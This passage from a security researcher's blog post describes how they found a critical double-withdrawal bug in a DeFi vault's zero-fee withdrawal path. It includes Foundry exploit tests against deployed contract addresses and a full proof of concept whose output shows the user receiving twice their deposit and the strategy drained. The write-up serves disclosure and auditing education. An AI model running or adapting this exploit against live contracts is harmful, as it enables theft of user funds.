This is actually a bug in the special withdrawal functionality of the MorphoStrategy contract that makes special withdrawals impossible if the strategy has more than one token and fees enabled. However, this turned out to only be a low-severity issue and the initial goal was to find a way to withdraw more assets than I’m entitled to, so work goes on.

The next step was to set the performance fee for the strategy to zero in order to avoid executing the buggy code. As you can see in the code listing above, there’s a special case in _fees_specialWithdraw that is executed when fees.performanceFee == 0.

Setting the fees to zero can be accomplished by adding the following code to the test contract source:

import {IFeeManager, Fees} from "src/interfaces/IFeeManager.sol";
[...]
  function setUp() {
    [...]
    // Set performance fee to zero.
    IFeeManager feeManager = IFeeManager(0x7304BfD9d8410f8c181C6E9646c8AF2691608708);
    Fees memory fees = feeManager.getFees(strategyId);
    fees.performanceFee = 0;
    vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
    feeManager.updateFees(strategyId, fees);
    [...]
  }
[...]

Discovering the vulnerability

As a first shot at my attempt to use a combination of a special withdrawal and a regular withdrawal to withdraw the rewards twice, I used the following test contract:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";

import {IEarnVault} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {StrategyId} from "@balmy/earn-core/types/StrategyId.sol";

import {EarnVault} from "@balmy/earn-core/vault/EarnVault.sol";
import {IEarnStrategyRegistry} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {IEarnNFTDescriptor} from "@balmy/earn-core/interfaces/IEarnNFTDescriptor.sol";

import {MorphoStrategy} from "src/strategies/instances/morpho/MorphoStrategy.sol";
import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";
import {SpecialWithdrawal} from "@balmy/earn-core/types/SpecialWithdrawals.sol";

import {IFeeManager, Fees} from "src/interfaces/IFeeManager.sol";

contract Experimenting is Test {
    IEarnVault internal immutable earnVault = IEarnVault(0x0990a4a641636D437Af9aa214a1A580377eF1954);
    // MorphoStrategy (mwETH) at 0x2810dD0FF090d25Ba546C921F0c4f33C176E5442 is strategy 11
    StrategyId internal immutable strategyId = StrategyId.wrap(11);

    function setUp() public {
        // Deploy EarnVault with modified code and replace code at earnVault address with it.
        // Allows to add debugging code (also disables the firewall).
        address[] memory initialPauseAdmins = new address[](0);
        EarnVault earnVaultReplacement = new EarnVault(
            IEarnStrategyRegistry(0xC0571929c21B71Fc7579ec7159B1E88A2199Bc78),
            address(this),
            initialPauseAdmins,
            IEarnNFTDescriptor(0xA21Db13B32Fe2A82D89e32BEe9A099EF9E733879)
        );
        vm.etch(address(earnVault), address(earnVaultReplacement).code);

        // Deploy MorphoStrategy with debugging modifications.
        MorphoStrategy morphoStrategyImplReplacement = new MorphoStrategy();
        vm.etch(address(0xfE02dbC93bABd8fD28c0eD6E66104Abf7b2a3B69), address(morphoStrategyImplReplacement).code);

        // Set performance fee to zero.
        IFeeManager feeManager = IFeeManager(0x7304BfD9d8410f8c181C6E9646c8AF2691608708);
        Fees memory fees = feeManager.getFees(strategyId);
        fees.performanceFee = 0;
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        feeManager.updateFees(strategyId, fees);
    }

    function test_withdraw() public {
        // Use an existing postion that already has rewards accrued.
        uint256 positionId = 226;
        address owner = earnVault.ownerOf(positionId);
        vm.label(owner, "POSITION_OWNER");

        // Check the owners's balance.
        (address[] memory tokens, uint256[] memory balances,,) = earnVault.position(positionId);

        // Try to withdraw the underlying deposit token from the Morpho vault.
        uint256[] memory toWithdraw = new uint256[](1);
        toWithdraw[0] = IERC4626(0xa0E430870c4604CcfC7B38Ca7845B1FF653D0ff1).convertToShares(balances[0]);
        vm.prank(owner);
        earnVault.specialWithdraw(
            positionId,
            SpecialWithdrawal.WITHDRAW_ASSET_FARM_TOKEN_BY_AMOUNT,
            toWithdraw,
            "",
            owner
        );

        // Then withdraw the remaining reward tokens from the position.
        (tokens, balances,,) = earnVault.position(positionId);
        vm.prank(owner);
        earnVault.withdraw(
            positionId,
            tokens,
            balances,
            owner
        );
    }
}

Instead of creating the position myself, this time I “hijacked” an existing position that already had rewards accrued. Etherscan can be very useful for finding existing positions by digging around in the transactions under the “Token Transfers (ERC-20)” tab of the FirewalledEarnVault contract. In the transaction details the position ID will be shown as the ERC-721 Token ID of the EARN NFT.

Executing this test results in the following output:

$ forge test --match-path test/ExperimentingV4.t.sol --match-test test_withdraw -vvvvv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385
[...]
    ├─ [0] VM::prank(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC])
    │   └─ ← [Return]
    ├─ [930867] FirewalledEarnVault::withdraw(226, [0x4200000000000000000000000000000000000006, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 0xA88594D404727625A9437C3f886C7643872296AE], [1, 51299196289810215 [5.129e16], 2517895679519387142 [2.517e18]], POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC])
    │   ├─ [551] EarnStrategyRegistry::getStrategy(11) [staticcall]
    │   │   └─ ← [Return] MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]
[...]
    │   ├─ [580185] MorphoStrategy::withdraw(226, [0x4200000000000000000000000000000000000006, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 0xA88594D404727625A9437C3f886C7643872296AE], [1, 51299196289810215 [5.129e16], 2517895679519387142 [2.517e18]], POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC])
    │   │   ├─ [579950] MorphoStrategy::withdraw(226, [0x4200000000000000000000000000000000000006, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 0xA88594D404727625A9437C3f886C7643872296AE], [1, 51299196289810215 [5.129e16], 2517895679519387142 [2.517e18]], POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC]) [delegatecall]
    │   │   │   ├─ [440] GlobalEarnRegistry::getAddressOrFail(0x585fc1073b6cfa774673b8c567d17fb3595441dcb101cca207779783ece15080) [staticcall]
    │   │   │   │   └─ ← [Return] LiquidityMiningManager: [0xE7615B68BFe7664488881080DF9dD62681A781A1]
    │   │   │   ├─ [3469] LiquidityMiningManager::rewardAmount(11, ERC1967Proxy: [0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842]) [staticcall]
    │   │   │   │   └─ ← [Return] 0
    │   │   │   ├─ [3469] LiquidityMiningManager::rewardAmount(11, TransparentUpgradeableProxy: [0xA88594D404727625A9437C3f886C7643872296AE]) [staticcall]
    │   │   │   │   └─ ← [Return] 0
    │   │   │   ├─ [0] console::log("_fees_withdraw start") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [440] GlobalEarnRegistry::getAddressOrFail(0x8e24cef3d118e2320bff2d4ac4e82fd5ff0dd3a6e6044ca19f91cd3b6f84750e) [staticcall]
    │   │   │   │   └─ ← [Return] FeeManager: [0x7304BfD9d8410f8c181C6E9646c8AF2691608708]
    │   │   │   ├─ [1349] FeeManager::getFees(11) [staticcall]
    │   │   │   │   └─ ← [Return] Fees({ depositFee: 0, withdrawFee: 0, performanceFee: 0, rescueFee: 500 })
    │   │   │   ├─ [0] console::log("fees.performanceFee", 0) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [39134] ERC1967Proxy::fallback(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 51299196289810215 [5.129e16])
    │   │   │   │   ├─ [34339] MorphoTokenOptimism::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 51299196289810215 [5.129e16]) [delegatecall]
    │   │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 51299196289810215 [5.129e16])
    │   │   │   │   │   ├─  storage changes:
    │   │   │   │   │   │   @ 0x8aa78c749f3f6622143deef426eb6638903109924f01b11b256a441528b881a1: 0x000000000000000000000000000000000000000000000000063d8d89187be9ce → 0x00000000000000000000000000000000000000000000000005874d30345deaa7
    │   │   │   │   │   │   @ 0xbaba2fb8ef7a0793f3d614895797ffacf352f853e4acd71296173b765500e344: 0 → 0x00000000000000000000000000000000000000000000000000b64058e41dff27
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [42710] TransparentUpgradeableProxy::fallback(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 2517895679519387142 [2.517e18])
    │   │   │   │   ├─ [35568] xWELL::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 2517895679519387142 [2.517e18]) [delegatecall]
    │   │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 2517895679519387142 [2.517e18])
    │   │   │   │   │   ├─  storage changes:
    │   │   │   │   │   │   @ 0xa6e4cb1b9c83b7d19f73592789f5f2c0ad8dfd0fb3cd559b7d3cc3427a1161c8: 0x0000000000000000000000000000000000000000000000013bc15aaab078c165 → 0x00000000000000000000000000000000000000000000000118cffde2f93a535f
    │   │   │   │   │   │   @ 0x5ad5ba18dd41dc373bb51b0c3e4a3c6dac5e6a3ab7cc9b5bb1526d8c4fe5e0eb: 0 → 0x00000000000000000000000000000000000000000000000022f15cc7b73e6e06
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [190851] MetaMorpho::withdraw(1, POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442])
[...]
    │   │   │   │   ├─ [24901] WETH9::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 1)
    │   │   │   │   │   ├─ emit Transfer(from: MetaMorpho: [0xa0E430870c4604CcfC7B38Ca7845B1FF653D0ff1], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 1)
[...]
    │   │   │   │   ├─ emit Withdraw(sender: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], receiver: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], owner: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], assets: 1, shares: 1)
[...]
    │   │   │   │   └─ ← [Return] 1
[...]
    │   │   │   ├─ [1061] MetaMorpho::balanceOf(MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]) [staticcall]
    │   │   │   │   └─ ← [Return] 684273170534471272 [6.842e17]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(684273170534471272 [6.842e17]) [staticcall]
[...]
    │   │   │   ├─ [3934] ERC1967Proxy::fallback(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 51299196289810215 [5.129e16])
    │   │   │   │   ├─ [3639] MorphoTokenOptimism::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 51299196289810215 [5.129e16]) [delegatecall]
    │   │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 51299196289810215 [5.129e16])
    │   │   │   │   │   ├─  storage changes:
    │   │   │   │   │   │   @ 0xbaba2fb8ef7a0793f3d614895797ffacf352f853e4acd71296173b765500e344: 0x00000000000000000000000000000000000000000000000000b64058e41dff27 → 0x000000000000000000000000000000000000000000000000016c80b1c83bfe4e
    │   │   │   │   │   │   @ 0x8aa78c749f3f6622143deef426eb6638903109924f01b11b256a441528b881a1: 0x00000000000000000000000000000000000000000000000005874d30345deaa7 → 0x00000000000000000000000000000000000000000000000004d10cd7503feb80
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [5510] TransparentUpgradeableProxy::fallback(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 2517895679519387142 [2.517e18])
    │   │   │   │   ├─ [4868] xWELL::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 2517895679519387142 [2.517e18]) [delegatecall]
    │   │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 2517895679519387142 [2.517e18])
    │   │   │   │   │   ├─  storage changes:
    │   │   │   │   │   │   @ 0xa6e4cb1b9c83b7d19f73592789f5f2c0ad8dfd0fb3cd559b7d3cc3427a1161c8: 0x00000000000000000000000000000000000000000000000118cffde2f93a535f → 0x000000000000000000000000000000000000000000000000f5dea11b41fbe559
    │   │   │   │   │   │   @ 0x5ad5ba18dd41dc373bb51b0c3e4a3c6dac5e6a3ab7cc9b5bb1526d8c4fe5e0eb: 0x00000000000000000000000000000000000000000000000022f15cc7b73e6e06 → 0x00000000000000000000000000000000000000000000000045e2b98f6e7cdc0c
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [137012] MetaMorpho::withdraw(1, POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442])
[...]
    │   │   │   │   ├─ [3001] WETH9::transfer(POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], 1)
    │   │   │   │   │   ├─ emit Transfer(from: MetaMorpho: [0xa0E430870c4604CcfC7B38Ca7845B1FF653D0ff1], to: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], value: 1)
[...]
    │   │   │   │   ├─ emit Withdraw(sender: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], receiver: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC], owner: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], assets: 1, shares: 1)
[...]
    │   │   │   │   └─ ← [Return] 1
[...]
    │   ├─ emit PositionWithdrawn(positionId: 226, tokens: [0x4200000000000000000000000000000000000006, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 0xA88594D404727625A9437C3f886C7643872296AE], withdrawn: [1, 51299196289810215 [5.129e16], 2517895679519387142 [2.517e18]], recipient: POSITION_OWNER: [0x6413dEd9Ef18490B070354013dBA7Bb930FC9BeC])
[...]
    │   └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000b64058e41dff2700000000000000000000000000000000000000000000000022f15cc7b73e6e06
    └─ ← [Return]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 262.27ms (255.14ms CPU time)

Ran 1 test suite in 1.08s (262.27ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

There’s a big surprise hidden in this output: MorphoStrategy.withdraw calls MetaMorpho.withdraw twice and thus all assets in the position are transferred to the owner twice! Also the rewards are transferred twice.

The debug output fragments console::log("_fees_withdraw start") and console::log("fees.performanceFee", 0) already give a hint at where to look for the reason of this double withdrawal:

earn-periphery/src/strategies/layers/fees/external/ExternalFees.sol, function _fees_withdraw:

  function _fees_withdraw(
    uint256 positionId,
    address[] memory tokens,
    uint256[] memory toWithdraw,
    address recipient
  )
    internal
    override
  {
    console2.log("_fees_withdraw start");
    Fees memory fees = _getFees();
    console2.log("fees.performanceFee", fees.performanceFee);
    if (fees.performanceFee == 0) {
      _clearAllBalancesIfSet(tokens);
      _fees_underlying_withdraw(positionId, tokens, toWithdraw, recipient);
    }

    (, uint256[] memory currentBalances) = _fees_underlying_totalBalances();
    for (uint256 i; i < tokens.length; ++i) {
      console2.log("tokens", i, tokens[i]);
      console2.log("currentBalances", i, currentBalances[i]);
      console2.log("toWithdraw", i, toWithdraw[i]);
      uint256 amountToWithdraw = toWithdraw[i];
      // If there is nothing being withdrawn, we can skip fee update, since balance didn't change
      if (amountToWithdraw == 0) continue;
      address token = tokens[i];
      uint256 currentBalance = currentBalances[i];
      uint256 performanceFees = _calculateFees(token, currentBalance, fees.performanceFee);
      _storePerformanceData({
        token: token,
        // Note: there might be a small wei difference here, but we can ignore it an avoid adding it as part of the fee
        lastBalance: (currentBalance - amountToWithdraw),
        performanceFees: performanceFees,
        isSet: true
      });
    }

    _fees_underlying_withdraw(positionId, tokens, toWithdraw, recipient);
  }

This function is intended to handle the case of zero performance fees separately from the case of non-zero performance fees. However, in case of zero performance fees, there is a critical mistake: The withdraw (via _fees_underlying_withdraw) is executed twice (once in the if branch, and again at the end of the function). You can compare this with the _fees_specialWithdraw function in the same file, where the if branch returns and the rest of the function is not executed.

That is actually a critical-severity vulnerability that I just discovered coincidently by pursuing another attack idea.

As a side note, my original idea to combine a regular withdrawal and a special withdrawal turned out not to be feasible. Anyway, this would only have been a high-severity vulnerability, while being able to withdraw everything twice is a critical-severity vulnerability.

Proof of concept

In priciple, the last test contract could already serve as a PoC for the vulnerability, but submitting a clean PoC that clearly demonstrates the vulnerabilty without needing additional explanation together with your bug report goes a long way. For the sake of completeness, here is the PoC that I submitted:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {IEarnVault} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {IEarnStrategy} from "@balmy/earn-core/interfaces/IEarnStrategy.sol";
import {StrategyId} from "@balmy/earn-core/types/StrategyId.sol";
import {INFTPermissions} from "@balmy/nft-permissions/interfaces/INFTPermissions.sol";
import {IFeeManager, Fees} from "src/interfaces/IFeeManager.sol";

interface ITOSManager {
    function assignStrategyToGroup(StrategyId strategyId, bytes32 group) external;
}

contract NoopFirewall {
    function executeCheckpoint(address, bytes4, bytes32) external {}
}

contract DoubleWithdrawWhenZeroFeesPoC is Test {
    IEarnVault internal immutable earnVault = IEarnVault(0x0990a4a641636D437Af9aa214a1A580377eF1954);
    IERC20 internal immutable usdc = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
    ITOSManager internal immutable tosManager = ITOSManager(0xED8e2E9499344110e18F0c77538BfB8C426Cd433);
    IFeeManager internal immutable feeManager = IFeeManager(0x7304BfD9d8410f8c181C6E9646c8AF2691608708);
    // AaveV3Strategy at 0xA288A6bDDEbEb82a4b938D4Be1A16f27c000681d is strategyId 1
    IEarnStrategy internal immutable strategy = IEarnStrategy(0xA288A6bDDEbEb82a4b938D4Be1A16f27c000681d);
    StrategyId internal immutable strategyId = StrategyId.wrap(1);

    address internal immutable userA = address(0xAAAAAAAA);

    function setUp() public {
        // Replace the FORTA firewall of the FirewalledEarnVault with a "no-op" firewall to avoid having to get attestations for the PoC.
        NoopFirewall noopFirewall = new NoopFirewall();
        vm.store(
            address(earnVault),
            0x056e02eadf378bb204991810c69f5fd30d0c5daa999b3432711954755cff9a00,
            bytes32(uint256(uint160(address(noopFirewall))))
        );

        // Disable TOS checking to avoid having to attach the signed TOS when creating the position.
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        tosManager.assignStrategyToGroup(strategyId, bytes32(0));

        // Set strategy performance fees to 0.
        Fees memory fees = feeManager.getFees(strategyId);
        fees.performanceFee = 0;
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        feeManager.updateFees(strategyId, fees);
    }

    // Note: Outputs correspond to the state at block 26674385.
    function test_double_withdraw() public {
        INFTPermissions.PermissionSet[] memory permissions = new INFTPermissions.PermissionSet[](0);
        bytes[] memory strategyValidationDataArray = new bytes[](2);
        // To be validated by TOSManager (0xed8e2e9499344110e18f0c77538bfb8c426cd433)
        strategyValidationDataArray[0] = "";
        // To be validated by SignatureBasedWhitelistManager (0xe1bf5a5446b5cced4d7d10ad26533d0a1af8932a)
        strategyValidationDataArray[1] = "";

        // Get the current total balance in the strategy.
        (address[] memory stratTokens, uint256[] memory stratBalances) = strategy.totalBalances();
        // Output:
        // Total strategy balance before for token 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 334562119
        for (uint256 i; i < stratTokens.length; i++) {
            console2.log("Total strategy balance before for token", stratTokens[i], stratBalances[i]);
        }

        // Give test user tokens to deposit. Here we're "stealing" them.
        // The PoC assumes that the user will be able to get USDC from somewhere (e.g. buying it or doing a flash loan).
        vm.prank(0x0B0A5886664376F59C351ba3f598C8A8B4D0A6f3);
        usdc.transfer(userA, stratBalances[0]);

        // Output: Initial user asset balance 334562119
        console2.log("Initial user asset balance", usdc.balanceOf(userA));

        vm.startPrank(userA);

        // Create a position in the AaveV3Strategy.
        usdc.approve(address(earnVault), usdc.balanceOf(userA));
        (uint256 positionId, ) = earnVault.createPosition(
            strategyId,
            address(usdc),
            usdc.balanceOf(userA),
            userA,
            permissions,
            abi.encode(strategyValidationDataArray),
            ""
        );

        // Check the user's balance.
        (address[] memory tokens, uint256[] memory balances,,) = earnVault.position(positionId);
        // Output:
        // User asset balance after deposit 0
        // User vault balance after deposit for 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 334562118
        // Vault balance is 1 wei less due to rounding.
        console2.log("User asset balance after deposit", usdc.balanceOf(userA));
        for (uint256 i; i < tokens.length; i++) {
            console2.log("User vault balance after deposit for", tokens[i], balances[i]);
        }

        // Withdraw the user's full position.
        earnVault.withdraw(
            positionId,
            tokens,
            balances,
            userA
        );

        // Check the user's balance.
        (tokens, balances,,) = earnVault.position(positionId);

        // Output:
        // User asset balance after withdraw 669124236
        // User vault balance after withdraw for 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 0
        // The user got twice the deposit (minus 2 wei due to rounding) back, because the strategy executed the withdraw from the Aave pool twice, but the EarnVault only registered the withdraw amount once.
        console2.log("User asset balance after withdraw", usdc.balanceOf(userA));
        for (uint256 i; i < tokens.length; i++) {
            console2.log("User vault balance after withdraw for", tokens[i], balances[i]);
        }

        // Get the total balance in the strategy after the attack.
        (stratTokens, stratBalances) = strategy.totalBalances();
        // Output:
        // Total strategy balance after for token 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 2
        for (uint256 i; i < stratTokens.length; i++) {
            console2.log("Total strategy balance after for token", stratTokens[i], stratBalances[i]);
        }
    }
}

Executing the PoC leads to the following output:

$ forge test --match-path test/poc/DoubleWithdrawWhenZeroFeesPoC.t.sol --match-test test_double_withdraw -vv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385
No files changed, compilation skipped

Ran 1 test for test/poc/DoubleWithdrawWhenZeroFeesPoC.t.sol:DoubleWithdrawWhenZeroFeesPoC
[PASS] test_double_withdraw() (gas: 750966)
Logs:
  Total strategy balance before for token 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 334562119
  Initial user asset balance 334562119
  User asset balance after deposit 0
  User vault balance after deposit for 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 334562118
  User asset balance after withdraw 669124236
  User vault balance after withdraw for 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 0
  Total strategy balance after for token 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 2

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.84ms (7.64ms CPU time)

Ran 1 test suite in 1.45s (8.84ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

You can see that the user stole assets from the protocol directly from the logs without needing to go through the traces.

Closing thoughts

There are a couple of takeaways from this discovery:

This vulnerability could have been prevented by ensuring that the invariant “a user must not be able to withdraw more than they have in their account” is enforced on every withdrawal. Check out the FREI-PI pattern [https://www.nascent.xyz/idea/youre-writing-require-statements-wrong] to learn more about enforcing protocol-level invariants.
If you are auditing a code base and see a case like this where important invariants are neither implicitly nor explicitly enforced (like in this case where the contract executing the payout doesn’t know how much the user has in their account), put extra effort into trying to break them.
Especially with complex code like deep inheritance hierarchies, there’s always a chance to discover bugs that have been overlooked in previous audits and have been missed by unit tests.

If you have any comments or questions about this blog post, feel free to contact me on Twitter (@stackachu) or send me an e-mail to (click to reveal email address, needs JavaScript).